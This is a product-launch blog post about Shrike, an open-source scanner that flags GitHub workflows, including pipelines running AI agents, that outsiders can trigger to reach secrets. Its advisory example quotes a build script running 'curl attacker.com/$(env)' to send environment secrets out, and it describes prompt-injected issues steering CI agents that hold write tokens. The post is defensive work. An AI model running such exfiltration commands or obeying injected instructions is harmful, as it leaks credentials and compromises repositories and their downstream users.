Product Launch

Chelate Sec: Securing the Agentic CI/CD

Oct 21, 2026 · 5 min read · Chelate

In chemistry, a chelate grips a reactive metal at several points at once and locks it in a ring, so it can't react with anything around it — neutralized, not removed. A dangerous workflow is the same: you can't rip it out, but grip every point that makes it reactive — trigger, inputs, token, reach — and it can't be turned against you.

Today Chelate Sec, as part of securing the agentic workflows, is launching Shrike — our open-source scanner for agentic CI/CD. You can find it on GitHub at ChelateSec/shrike.

Shrike reads your GitHub workflows, finds the ones an outsider can turn against you — including the AI agents now running in your pipelines — and tells you, for each, who can trigger it and what it can reach. One command, straight in your terminal, no noise.

The Problem We Built It For

CI/CD pipelines run untrusted input right next to production credentials. A stranger opens an issue, a pull request, or a comment — and a workflow runs holding your repo's write token, your publishing keys, your cloud secrets.

AI made it worse. Teams now drop agents — Claude Code, Gemini CLI, Copilot — straight into their pipelines to triage issues, review PRs, and fix bugs. These agents read whatever a stranger writes, and act with those same credentials. It's the lethal trifecta: access to private data, exposure to untrusted content, and a way to communicate out. A CI pipeline running an agent has all three by default, and almost nobody can see it happening — which workflow touched which secret, what an agent read, what it did.

A Year of the Same Bug

This isn't theoretical. 2026 was one long demonstration:

Six incidents, one root cause: nobody could see, or hold, what their pipeline was allowed to do.

The Blast Radius

A pipeline compromise doesn't stop at the pipeline — whatever it ships, it ships to everyone downstream.

One hijacked pipeline is millions of victims.

What Shrike Does

How It Works

  GitHub Workflows
        ↓
   Parse triggers, jobs, steps, tokens
        ↓
   Find the AI-agent (and classic) steps
        ↓
   Q1: can an outsider trigger it?
   Q2: what can it reach?
        ↓
   Severity · Triggerability · Impact
        ↓
   Fix before an attacker finds it

Scan a local checkout:

shrike scan .

Or an entire org without cloning anything:

shrike scan --github-org your-org

Shrike reports only what passes the full test — outsider-triggerable and reaching something that matters — so every line is worth acting on.

We Find These Ourselves

We're not writing this from the outside. Finding these bugs by hand is how Chelate started — one of ours is a critical pwn-request in threlte, a popular Svelte 3D library (GHSA-p368-h5pf-7fc2). Its docs-preview workflow ran on pull_request_target with a write token and built the pull request's own code, so any contributor's fork — with a build:docs script running curl attacker.com/$(env) — got code execution and the repo's token. Trigger, prerequisite, reach: that trace is exactly what Shrike now runs for you, across a whole org, in seconds.

And AI widens the same bug. The classic pwn-request needs the attacker to plant a payload in a fork. An agent needs only words — a prompt-injected issue reaches a thing that already holds the token and already runs shell. Same root cause, far lower bar, far harder to catch in review. Shrike checks for both, and leads on the one that's new.

Built to Be Honest About Its Limits

We'd rather Shrike under-claim than over-claim. A few things worth knowing:

What's Next: Titra

Shrike finds the reactive points. Titra holds them.

Titra is our runtime product: it watches what your pipeline agents actually do and blocks the dangerous actions before they land — a push to a protected branch, a self-approved PR, a leaked secret. Install a GitHub App, add one line to a workflow, and see every agent action in one place, with policy you control.

Shrike is where every team starts, free and open. Titra is how enterprises hold it at scale — org-wide visibility, policy enforcement, and the audit trail security teams need. Coming soon; reach out to be an early design partner.

Get Started

Get started with Shrike in seconds. One command installs everything you need:

curl -fsSL https://chelate.tech/install.sh | bash

Then scan a repo or a whole org:

shrike scan .
shrike scan --github-org your-org

For CI, gate on severity:

shrike scan . --fail-on high --sarif results.sarif

Explore Shrike

Shrike is open source and on GitHub. Full CLI reference, output schema, and rule list are in the repository README.

View Shrike on GitHub →

Securing the agentic workflows.